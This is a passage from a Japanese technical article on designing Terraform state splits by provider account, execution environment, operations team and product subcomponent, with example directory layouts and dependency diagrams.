ファイルを指定する├── output.tf # 他の tfstate ファイルから依存される├── remote_state.tf # terraform_remote_state ブロックを使用する├── provider.tf...\uD83D\uDC31 healthchecks-repository/├── backend.tf # Healthchecksの状態を持つ tfstate ファイルを指定する├── output.tf # 他の tfstate ファイルから依存される├── remote_state.tf # terraform_remote_state ブロックを使用する├── provider.tf...\uD83D\uDC31 pagerduty-repository/├── backend.tf # PagerDutyの状態を持つ tfstate ファイルを指定する├── output.tf # 他の tfstate ファイルから依存される├── remote_state.tf # terraform_remote_state ブロックを使用する├── provider.tf...▼ 同じリポジトリの場合プロバイダーアカウント別に分割したtfstateファイルを、同じリポジトリで管理します。例えば、tfstateファイル分割に基づいて、リポジトリのディレクトリ構成例は以下の通りになります。前述の依存関係図の状況と仮定します。\uD83D\uDC31 repository/├── \uD83D\uDCC2 aws/│ ├── backend.tf # AWSの状態を持つ tfstate ファイルを指定する│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── provider.tf│ ...│├── \uD83D\uDCC2 datadog/│ ├── backend.tf # Datadogの状態を持つ tfstate ファイルを指定する│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── provider.tf│ ...│├── \uD83D\uDCC2 healthchecks/│ ├── backend.tf # Healthchecksの状態を持つ tfstate ファイルを指定する│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── provider.tf│ ...│└── \uD83D\uDCC2 pagerduty/ ├── backend.tf # PagerDutyの状態を持つ tfstate ファイルを指定する ├── output.tf # 他の tfstate ファイルから依存される ├── remote_state.tf # terraform_remote_state ブロックを使用する ├── provider.tf ...【プロバイダーアカウント別】リモートバックエンドのディレクトリ構成▼ 異なるリモートバックエンドの場合プロバイダーアカウント別に分割したtfstateファイルを、異なるリモートバックエンドで管理します。例えば、tfstateファイル分割に基づいて、リモートバックエンド内のディレクトリ構成例は以下の通りになります。前述の依存関係図の状況と仮定します。\uD83E\uDEA3 aws-bucket/│└── terraform.tfstate # AWSの状態を持つ\uD83E\uDEA3 datadog-bucket/│└── terraform.tfstate # Datadogの状態を持つ\uD83E\uDEA3 healthchecks-bucket/│└── terraform.tfstate # Healthchecksの状態を持つ\uD83E\uDEA3 pagerduty-bucket/│└── terraform.tfstate # PagerDutyの状態を持つ▼ 同じリモートバックエンドの場合プロバイダーアカウント別に分割したtfstateファイルを、同じリモートバックエンドで管理します。例えば、tfstateファイル分割に基づいて、リモートバックエンド内のディレクトリ構成例は以下の通りになります。前述の依存関係図の状況と仮定します。\uD83E\uDEA3 bucket/├── \uD83D\uDCC2 aws│ └── terraform.tfstate # AWSの状態を持つ│├── \uD83D\uDCC2 datadog│ └── terraform.tfstate # Datadogの状態を持つ│├── \uD83D\uDCC2 healthchecks│ └── terraform.tfstate # Healthchecksの状態を持つ│└── \uD83D\uDCC2 pagerduty └── terraform.tfstate # PagerDutyの状態を持つ08. 下層の分割 (推奨)下層の分割について下層の分割は 推奨 です。Terraformに携わる管理者の数が少なくても採用した方がよいです。tfstateファイルをパターンに応じて分割し、これに基づいてディレクトリ・リモートバックエンドも設計しましょう。実行環境別 - ★★★この分割方法について下層分割の中でも、基本的な方法の1つです。実行環境別にtfstateファイルを分割し、下層もこれに基づいて設計します。この分割方法により、各実行環境の管理者が互いに影響を受けずに、terraformコマンドの結果を得られるようになります。Terraform: Up and Running: Writing Infrastructure as CodeHow to manage Terraform state. A guide to file layout, isolation, and… | by Yevgeniy Brikman | Gruntwork▶ おすすめ度について【実行環境別】状態の依存関係図例えば、以下の実行環境を構築したい状況と仮定します。Tes環境 (検証環境)Stg環境 (ユーザー受け入れ環境)Prd環境 (本番環境)かつ、以下のプロバイダーを使用したい状況と仮定します。主要プロバイダー (AWS)アプリ/インフラ監視プロバイダー (Datadog)ジョブ監視プロバイダー (Healthchecks)インシデント管理プロバイダー (PagerDuty)ここで仮定した状況では、各実行環境の tfstate ファイルは他の実行環境には依存していないとします。そのため、想定される状態の依存関係図は以下の通りになります。なお、依存方向は状況によって異なることをご容赦ください。---title: 実行環境別---%%{init:{\'theme\':\'default\'}}%%flowchart LR subgraph PagerDuty pagerDuty[\\"tfstate\\"] end subgraph Healthchecks healthchecks[\\"tfstate\\"] end subgraph Datadog datadog[\\"tfstate\\"] end subgraph AWS subgraph tes-bucket tes[\\"tfstate\\"] end subgraph stg-bucket stg[\\"tfstate\\"] end subgraph prd-bucket prd[\\"tfstate\\"] end end tes -...-> datadog tes -...-> healthchecks tes -...-> pagerDuty datadog -...-> tes healthchecks -...-> tes pagerDuty -...-> tes【実行環境別】リポジトリのディレクトリ構成▼ 異なるリポジトリの場合プロバイダーアカウント別にtfstateファイルを分割することは推奨としているため、その上でディレクトリ構成を考えます。例えば、tfstateファイル分割に基づいて、リポジトリのディレクトリ構成例は以下の通りになります。前述の依存関係図の状況と仮定します。\uD83D\uDC31 aws-repository/├── output.tf # 他の tfstate ファイルから依存される├── remote_state.tf # terraform_remote_state ブロックを使用する├── provider.tf├── \uD83D\uDCC2 tes/ # Tes環境│ ├── backend.tfvars # Tes環境のAWSリソースの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 stg/ # Stg環境└── \uD83D\uDCC2 prd/ # Prd環境\uD83D\uDC31 datadog-repository/├── output.tf # 他の tfstate ファイルから依存される├── remote_state.tf # terraform_remote_state ブロックを使用する├── provider.tf├── \uD83D\uDCC2 tes/│ ├── backend.tfvars # Tes環境のDatadogの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 stg/└── \uD83D\uDCC2 prd/\uD83D\uDC31 healthchecks-repository/├── output.tf # 他の tfstate ファイルから依存される├── remote_state.tf # terraform_remote_state ブロックを使用する├── provider.tf├── \uD83D\uDCC2 tes/│ ├── backend.tfvars # HealthchecsのTes環境の状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 stg/└── \uD83D\uDCC2 prd/\uD83D\uDC31 pagerduty-repository/├── output.tf # 他の tfstate ファイルから依存される├── remote_state.tf # terraform_remote_state ブロックを使用する├── provider.tf├── \uD83D\uDCC2 tes/│ ├── backend.tfvars # Tes環境のPagerDutyの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 stg/└── \uD83D\uDCC2 prd/▼ 同じリポジトリの場合プロバイダーアカウント別にtfstateファイルを分割することは推奨としているため、その上でディレクトリ構成を考えます。例えば、tfstateファイル分割に基づいて、リポジトリのディレクトリ構成例は以下の通りになります。前述の依存関係図の状況と仮定します。\uD83D\uDC31 repository/├── \uD83D\uDCC2 aws/│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── provider.tf│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # Tes環境のAWSリソースの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ └── \uD83D\uDCC2 prd/ # Prd環境│├── \uD83D\uDCC2 datadog/│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── provider.tf│ ├── \uD83D\uDCC2 tes/│ │ ├── backend.tfvars # Tes環境のDatadogの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/│ └── \uD83D\uDCC2 prd/│├── \uD83D\uDCC2 healthchecks/│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── provider.tf│ ├── \uD83D\uDCC2 tes/│ │ ├── backend.tfvars # Tes環境のHealthchecksの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/│ └── \uD83D\uDCC2 prd/│└── \uD83D\uDCC2 pagerduty/ ├── output.tf # 他の tfstate ファイルから依存される ├── remote_state.tf # terraform_remote_state ブロックを使用する ├── provider.tf ├── \uD83D\uDCC2 tes/ │ ├── backend.tfvars # Tes環境のPagerDutyの状態を持つ tfstate ファイルを指定する │ ... │ ├── \uD83D\uDCC2 stg/ └── \uD83D\uDCC2 prd/【実行環境別】リモートバックエンドのディレクトリ構成▼ 異なるリモートバックエンドの場合実行環境別に分割したtfstateファイルを、異なるリモートバックエンドで管理します。tfstateファイル分割に基づいて、リモートバックエンド内のディレクトリ構成例は以下の通りになります。例えば、前述の依存関係図の状況と仮定します。\uD83E\uDEA3 tes-aws-bucket/│└── terraform.tfstate # Tes環境のAWSリソースの状態を持つ\uD83E\uDEA3 tes-datadog-bucket/│└── terraform.tfstate # Tes環境のDatadogの状態を持つ\uD83E\uDEA3 tes-healthchecks-bucket/│└── terraform.tfstate # Tes環境のHealthchecksの状態を持つ\uD83E\uDEA3 tes-pagerduty-bucket/│└── terraform.tfstate # Tes環境のPagerDutyの状態を持つ▼ 同じリモートバックエンド x AWSアカウント別に異なる実行環境 の場合プロバイダーアカウント別に分割したtfstateファイルを、同じリモートバックエンドで管理します。また、AWSアカウント別に異なる実行環境を作成していると仮定します。例えば、tfstateファイル分割に基づいて、リモートバックエンド内のディレクトリ構成例は以下の通りになります。前述の依存関係図の状況と仮定します。# Tes環境の状態のみを管理するバケット\uD83E\uDEA3 tes-bucket/├── \uD83D\uDCC2 aws/│ └── terraform.tfstate # Tes環境のAWSリソースの状態を持つ│├── \uD83D\uDCC2 datadog/│ └── terraform.tfstate # Tes環境のDatadogの状態を持つ│├── \uD83D\uDCC2 healthchecks/│ └── terraform.tfstate # Tes環境のHealthchecksの状態を持つ│└── \uD83D\uDCC2 pagerduty/ └── terraform.tfstate # Tes環境のPagerDutyの状態を持つ# Stg環境の状態のみを管理するバケット\uD83E\uDEA3 stg-bucket/│...# Prd環境の状態のみを管理するバケット\uD83E\uDEA3 prd-bucket/│...▼ 同じリモートバックエンド x 単一のAWSアカウント内に全ての実行環境 の場合プロバイダーアカウント別に分割したtfstateファイルを、同じリモートバックエンドで管理します。また、単一のAWSアカウント内に全実行環境を作成しているとします。例えば、tfstateファイル分割に基づいて、リモートバックエンド内のディレクトリ構成例は以下の通りになります。前述の依存関係図の状況と仮定します。\uD83E\uDEA3 bucket/├── \uD83D\uDCC2 aws/│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ └── terraform.tfstate # Tes環境のAWSリソースの状態を持つ│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ └── \uD83D\uDCC2 prd/ # Prd環境│├── \uD83D\uDCC2 datadog/│ ├── \uD83D\uDCC2 tes/│ │ └── terraform.tfstate # Tes環境のDatadogの状態を持つ│ ││ ├── \uD83D\uDCC2 stg/│ └── \uD83D\uDCC2 prd/│├── \uD83D\uDCC2 healthchecks/│ ├── \uD83D\uDCC2 tes/│ │ └── terraform.tfstate # Tes環境のHealthchecksの状態を持つ│ ││ ├── \uD83D\uDCC2 stg/│ └── \uD83D\uDCC2 prd/│└── \uD83D\uDCC2 pagerduty/ ├── \uD83D\uDCC2 tes/ │ └── terraform.tfstate # Tes環境のPagerDutyの状態を持つ │ ├── \uD83D\uDCC2 stg/ └── \uD83D\uDCC2 prd/09. 中間層の分割 (任意)中間層の分割について中間層の分割は 任意 です。Terraformに携わる管理者が多くなるほど、効力を発揮します。運用チーム責務範囲別 - ★★この分割方法について運用チーム (例:アプリチーム、インフラチーム) のAWSリソースの責務範囲別でtfstateファイルを分割し、中間層もこれに基づいて設計します。この分割方法により、各運用チームが互いに影響を受けずに、terraformコマンドの結果を得られるようになります。AWS CloudFormation best practices - AWS CloudFormationTerraform in Action (English Edition)▶ おすすめ度について【チーム別】状態の依存関係図例えば、以下の運用チームに分割した状況と仮定します。frontendチーム (アプリのフロントエンド領域担当)backendチーム (アプリのバックエンド領域担当)sreチーム (インフラ領域担当)ここで仮定した状況では、各チームが管理する tfstate ファイル間で状態が相互に依存しているとします。AWSリソース間の相互依存ではないため、循環参照は起こりません。そのため、想定される状態の依存関係図は以下の通りになります。なお、依存方向は状況によって異なることをご容赦ください。---title: 運用チーム責務範囲別---%%{init:{\'theme\':\'default\'}}%%flowchart TB subgraph AWS subgraph tes-bucket frontend[\\"frontend-team-tfstate
(CloudFront, S3, など)\\"] backend[\\"backend-team-tfstate
(API Gateway, ElastiCache, RDS, SES, SNS, など)\\"] sre[\\"sre-team-tfstate
(ALB, CloudWatch, EC2, ECS, EKS, IAM, VPC, など)\\"] frontend-..->sre backend-..->sre sre-..->frontend sre-..->backend end subgraph stg-bucket stg[\\"tfstate\\"] end subgraph prd-bucket prd[\\"tfstate\\"] end end【チーム別】リポジトリのディレクトリ構成▼ 異なるリポジトリの場合この場合では、運用チーム責務範囲別に分割したtfstateファイルを、同じリポジトリで管理します。例えば、tfstateファイル分割に基づいて、リポジトリのディレクトリ構成例は以下の通りになります。この例では、状態の依存関係図と同じ状況を仮定しています。\uD83D\uDC31 aws-frontend-team-repository/ # frontendチーム├── output.tf # 他の tfstate ファイルから依存される├── provider.tf├── remote_state.tf # terraform_remote_state ブロックを使用する├── cloudfront.tf├── s3.tf├── \uD83D\uDCC2 tes/ # Tes環境│ ├── backend.tfvars # frontendチームの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 stg/ # Stg環境│ ├── backend.tfvars # frontendチームの状態を持つ tfstate ファイルを指定する│ ...│└── \uD83D\uDCC2 prd/ # Prd環境 ├── backend.tfvars # frontendチームの状態を持つ tfstate ファイルを指定する ...\uD83D\uDC31 aws-backend-team-repository/ # backendチーム├── output.tf # 他の tfstate ファイルから依存される├── provider.tf├── remote_state.tf # terraform_remote_state ブロックを使用する├── elasticache.tf├── ses.tf├── sns.tf├── rds.tf├── \uD83D\uDCC2 tes│ ├── backend.tfvars # backendチームの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 stg│ ├── backend.tfvars # backendチームの状態を持つ tfstate ファイルを指定する│ ...│└── \uD83D\uDCC2 prd ├── backend.tfvars # backendチームの状態を持つ tfstate ファイルを指定する ...\uD83D\uDC31 aws-sre-team-repository/ # sreチーム├── output.tf # 他の tfstate ファイルから依存される├── provider.tf├── remote_state.tf # terraform_remote_state ブロックを使用する├── alb.tf├── cloudwatch.tf├── ec2.tf├── ecs.tf├── eks.tf├── iam.tf├── vpc.tf├── \uD83D\uDCC2 tes│ ├── backend.tfvars # sreチームの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 stg│ ├── backend.tfvars # sreチームの状態を持つ tfstate ファイルを指定する│ ...│└── \uD83D\uDCC2 prd ├── backend.tfvars # sreチームの状態を持つ tfstate ファイルを指定する ...▼ 同じリポジトリの場合この場合では、運用チーム責務範囲別に分割したtfstateファイルを、異なるリポジトリで管理します。例えば、tfstateファイル分割に基づいて、リポジトリのディレクトリ構成例は以下の通りになります。この例では、状態の依存関係図と同じ状況を仮定しています。\uD83D\uDC31 aws-repository/├── \uD83D\uDCC2 frontend-team # frontendチーム│ ├── provider.tf│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── cloudfront.tf│ ├── s3.tf│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # frontendチームの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ │ ├── backend.tfvars # frontendチームの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd/ # Prd環境│ ├── backend.tfvars # frontendチームの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 backend-team # backendチーム│ ├── provider.tf│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── elasticache.tf│ ├── ses.tf│ ├── sns.tf│ ├── rds.tf│ ├── \uD83D\uDCC2 tes│ │ ├── backend.tfvars # backendチームの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg│ │ ├── backend.tfvars # backendチームの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd│ ├── backend.tfvars # backendチームの状態を持つ tfstate ファイルを指定する│ ...│└── \uD83D\uDCC2 sre-team # sreチーム ├── provider.tf ├── output.tf # 他の tfstate ファイルから依存される ├── remote_state.tf # terraform_remote_state ブロックを使用する ├── alb.tf ├── cloudwatch.tf ├── ec2.tf ├── ecs.tf ├── eks.tf ├── iam.tf ├── vpc.tf ├── \uD83D\uDCC2 tes │ ├── backend.tfvars # sreチームの状態を持つ tfstate ファイルを指定する │ ... │ ├── \uD83D\uDCC2 stg │ ├── backend.tfvars # sreチームの状態を持つ tfstate ファイルを指定する │ ... │ └── \uD83D\uDCC2 prd ├── backend.tfvars # sreチームの状態を持つ tfstate ファイルを指定する ...【チーム別】リモートバックエンドのディレクトリ構成▼ 異なるリモートバックエンドの場合運用チーム責務範囲別の場合、異なるリモートバックエンドで管理するとバックエンドが増え過ぎてしまいます。そのため、これはお勧めしません。▼ 同じリモートバックエンドの場合この場合では、プロバイダーアカウント別に分割したtfstateファイルを、異なるリモートバックエンドで管理します。例えば、tfstateファイル分割に基づいて、リモートバックエンド内のディレクトリ構成例は以下の通りになります。この例では、状態の依存関係図と同じ状況を仮定しています。# Tes環境の状態のみを管理するバケット\uD83E\uDEA3 tes-bucket/├── \uD83D\uDCC2 frontend-team│ └── terraform.tfstate # frontendチームの状態を持つ│├── \uD83D\uDCC2 backend-team│ └── terraform.tfstate # backendチームの状態を持つ│└── \uD83D\uDCC2 sre-team └── terraform.tfstate # sreチームの状態を持つ# Stg環境の状態のみを管理するバケット\uD83E\uDEA3 stg-bucket/│...# Prd環境の状態のみを管理するバケット\uD83E\uDEA3 prd-bucket/│...プロダクトのサブコンポーネント別 - ★★この分割方法についてプロダクトのサブコンポーネント (例:アプリ、ネットワーク、認証/認可、監視など) 別でtfstateファイルを分割し、中間層もこれに基づいて設計します。この分割方法により、サブコンポーネントの管理者が互いに影響を受けずに、terraformコマンドの結果を得られるようになります。Things to Know Before Working With Terraform – Part 1 | EndavaTerraform organization — Part I : What if you split your components ? | by Amine Charot | Medium▶ おすすめ度についてterraform_remote_stateブロック地獄になっていくため、適切な数 (3〜5個くらい) にしておくように注意が必要です。この分割方法は、後述のAWSリソースの種類グループとごっちゃになってしまう場合があるため、プロダクトのサブコンポーネントとして意識的に分割させる必要があります\uD83D\uDC4D【サブコンポーネント別】状態の依存関係図例えば、以下のサブコンポーネントに分割した状況と仮定します。application (Web3層系)auth (認証/認可系)monitor (監視系)network (ネットワーク系)ここで仮定した状況では、各プロダクトの tfstate ファイルの依存は一方向最終的に、networkサブコンポーネントやauthサブコンポーネントの tfstate ファイルに依存しているとします。そのため、想定される状態の依存関係図は以下の通りになります。なお、依存方向は状況によって異なることをご容赦ください。---title: プロダクトのサブコンポーネント別---%%{init:{\'theme\':\'default\'}}%%flowchart TB subgraph AWS subgraph tes-bucket application[\\"application-tfstate
Web3層と周辺AWSリソース
(ALB, APIGateway, CloudFront, EC2, ECS, EKS, RDS, S3, SNS, など)\\"] auth[\\"auth-tfstate
(IAMなど)\\"] monitor[\\"monitor-tfstate
(CloudWatch, など)\\"] network[\\"network-tfstate
(Route53, VPC, など)\\"] application-..->network application-..->auth monitor-..->application end subgraph stg-bucket stg[\\"tfstate\\"] end subgraph prd-bucket prd[\\"tfstate\\"] end end【サブコンポーネント別】リポジトリのディレクトリ構成▼ 異なるリポジトリの場合プロダクトのサブコンポーネント別の分割パターンの場合、異なるリポジトリで管理するとリポジトリが増え過ぎてしまいます。そのため、これはお勧めしません。▼ 同じリポジトリの場合この場合では、プロダクトのサブコンポーネント別に分割したtfstateファイルを、同じリポジトリで管理します。例えば、tfstateファイル分割に基づいて、リポジトリのディレクトリ構成例は以下の通りになります。この例では、状態の依存関係図と同じ状況を仮定しています。\uD83D\uDC31 aws-repository/├── \uD83D\uDCC2 application/│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── provider.tf│ ├── alb.tf│ ├── cloudfront.tf│ ├── ec2.tf│ ├── ecs.tf│ ├── eks.tf│ ├── ses.tf│ ├── sns.tf│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # applicationコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ │ ├── backend.tfvars # applicationコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd/ # Prd環境│ ├── backend.tfvars # applicationコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 auth/│ ├── provider.tf│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── iam.tf│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # authコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ │ ├── backend.tfvars # authコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd/ # Prd環境│ ├── backend.tfvars # authコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 monitor/│ ├── provider.tf│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── cloudwatch.tf│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # monitorコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ │ ├── backend.tfvars # monitorコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd/ # Prd環境│ ├── backend.tfvars # monitorコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│└── \uD83D\uDCC2 network ├── provider.tf ├── output.tf # 他の tfstate ファイルから依存される ├── route53.tf ├── vpc.tf ├── \uD83D\uDCC2 tes/ # Tes環境 │ ├── backend.tfvars # networkコンポーネントの状態を持つ tfstate ファイルを指定する │ ... │ ├── \uD83D\uDCC2 stg/ # Stg環境 │ ├── backend.tfvars # networkコンポーネントの状態を持つ tfstate ファイルを指定する │ ... │ └── \uD83D\uDCC2 prd/ # Prd環境 ├── backend.tfvars # networkコンポーネントの状態を持つ tfstate ファイルを指定する ...【サブコンポーネント別】リモートバックエンドのディレクトリ構成▼ 異なるリモートバックエンドの場合プロダクトのサブコンポーネント別の分割パターンの場合、異なるリモートバックエンドで管理するとバックエンドが増え過ぎてしまいます。そのため、これはお勧めしません。▼ 同じリモートバックエンドの場合この場合では、プロダクトのサブコンポーネント別に分割したtfstateファイルを、異なるリモートバックエンドで管理します。例えば、tfstateファイル分割に基づいて、リモートバックエンド内のディレクトリ構成例は以下の通りになります。この例では、状態の依存関係図と同じ状況を仮定しています。# Tes環境の状態のみを管理するバケット\uD83E\uDEA3 tes-bucket/├── \uD83D\uDCC2 application│ └── terraform.tfstate # applicationコンポーネントの状態を持つ│├── \uD83D\uDCC2 auth│ └── terraform.tfstate # authコンポーネントの状態を持つ│├── \uD83D\uDCC2 monitor│ └── terraform.tfstate # monitorコンポーネントの状態を持つ│└── \uD83D\uDCC2 network └── terraform.tfstate # networkコンポーネントの状態を持つ# Stg環境の状態のみを管理するバケット\uD83E\uDEA3 stg-bucket/│...# Prd環境の状態のみを管理するバケット\uD83E\uDEA3 prd-bucket/│...運用チーム責務範囲別 \xd7 プロダクトサブコンポーネント別 - ★この分割方法について運用チーム責務範囲別とプロダクトサブコンポーネント別を組み合わせてtfstateファイルを分割し、中間層もこれに基づいて設計します。この分割方法により、各運用チーム内のサブコンポーネントの管理者が互いに影響を受けずに、terraformコマンドの結果を得られるようになります。▶ おすすめ度について【チーム別 \xd7 サブコンポーネント別】状態の依存関係図以下の運用チームに分割した状況と仮定します。また、各運用チームでTerraformを変更できる管理者が相当数するため、プロダクトのサブコンポーネント別にも分割したとします。frontendチームapplicationmonitorbackendチームapplicationmonitorsreチームapplicationauthmonitornetworkここで仮定した状況では、各プロダクトのtfstateファイルの依存は一方向最終的に、sreチームの管理する tfstate ファイルに依存しているとします。そのため、想定される状態の依存関係図は以下の通りになります。なお、依存方向は状況によって異なることをご容赦ください。---title: 運用チーム責務範囲別 \xd7 プロダクトサブコンポーネント別---%%{init:{\'theme\':\'default\'}}%%flowchart TB subgraph AWS subgraph tes-bucket subgraph frontend-team frontendApplication[\\"application-tfstate
(CloudFront, S3, など)\\"] frontendMonitor[\\"monitor-tfstate
(CloudWatch, など)\\"] end subgraph backend-team backendApplication[\\"application-tfstate
(API Gateway, ElastiCache, RDS, SES, SNS, など)\\"] backendMonitor[\\"monitor-tfstate
(CloudWatch, など)\\"] end subgraph sre-team sreApplication[\\"application-tfstate
Web3層と周辺AWSリソース
(ALB, EC2, ECS, EKS, SNS, など)\\"] auth[\\"auth-tfstate
(IAM, など)\\"] sreMonitor[\\"monitor-tfstate
(CloudWatch, など)\\"] network[\\"network-tfstate
(Route53, VPC, など)\\"] end frontendApplication-...->network sreApplication-...->auth sreApplication-...->network backendApplication-...->auth backendApplication-...->network frontendMonitor-...->frontendApplication sreMonitor-...->sreApplication backendMonitor-...->backendApplication end subgraph stg-bucket stg[\\"tfstate\\"] end subgraph prd-bucket prd[\\"tfstate\\"] end end【チーム別 \xd7 サブコンポーネント別】リポジトリのディレクトリ構成▼ 異なるリポジトリの場合この場合では、運用チーム責務範囲別とプロダクトサブコンポーネント別を組み合わせて分割したtfstateファイルを、同じリポジトリで管理します。例えば、tfstateファイル分割に基づいて、リポジトリのディレクトリ構成例は以下の通りになります。この例では、状態の依存関係図と同じ状況を仮定しています。\uD83D\uDC31 aws-frontend-team-repository/├── \uD83D\uDCC2 application/│ ├── provider.tf│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── cloudfront.tf│ ├── ses.tf│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # frontendチームが管理するapplicationコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ │ ├── backend.tfvars # frontendチームが管理するapplicationコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd/ # Prd環境│ ├── backend.tfvars # frontendチームが管理するapplicationコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│└── \uD83D\uDCC2 monitor/ ├── provider.tf ├── remote_state.tf # terraform_remote_state ブロックを使用する ├── cloudwatch.tf ├── \uD83D\uDCC2 tes/ # Tes環境 │ ├── backend.tfvars # frontendチームが管理するmonitorコンポーネントの状態を持つ tfstate ファイルを指定する │ ... │ ├── \uD83D\uDCC2 stg/ # Stg環境 │ ├── backend.tfvars # frontendチームが管理するmonitorコンポーネントの状態を持つ tfstate ファイルを指定する │ ... │ └── \uD83D\uDCC2 prd/ # Prd環境 ├── backend.tfvars # frontendチームが管理するmonitorコンポーネントの状態を持つ tfstate ファイルを指定する ...\uD83D\uDC31 aws-backend-team-repository/├── \uD83D\uDCC2 application/│ ├── provider.tf│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── api_gateway.tf│ ├── elasticache.tf│ ├── rds.tf│ ├── ses.tf│ ├── sns.tf│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # backendチームが管理するapplicationコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ │ ├── backend.tfvars # backendチームが管理するapplicationコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd/ # Prd環境│ ├── backend.tfvars # backendチームが管理するapplicationコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│└── \uD83D\uDCC2 monitor/ ├── provider.tf ├── remote_state.tf # terraform_remote_state ブロックを使用する ├── cloudwatch.tf ├── \uD83D\uDCC2 tes/ # Tes環境 │ ├── backend.tfvars # backendチームが管理するmonitorコンポーネントの状態を持つ tfstate ファイルを指定する │ ... │ ├── \uD83D\uDCC2 stg/ # Stg環境 │ ├── backend.tfvars # backendチームが管理するmonitorコンポーネントの状態を持つ tfstate ファイルを指定する │ ... │ └── \uD83D\uDCC2 prd/ # Prd環境 ├── backend.tfvars # backendチームが管理するmonitorコンポーネントの状態を持つ tfstate ファイルを指定する ...\uD83D\uDC31 aws-sre-team-repository/├── \uD83D\uDCC2 application/│ ├── provider.tf│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── alb.tf│ ├── ec2.tf│ ├── ecs.tf│ ├── eks.tf│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # sreチームが管理するapplicationコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ │ ├── backend.tfvars # sreチームが管理するapplicationコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd/ # Prd環境│ ├── backend.tfvars # sreチームが管理するapplicationコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 auth/│ ├── provider.tf│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── iam.tf│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # sreチームが管理するauthコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ │ ├── 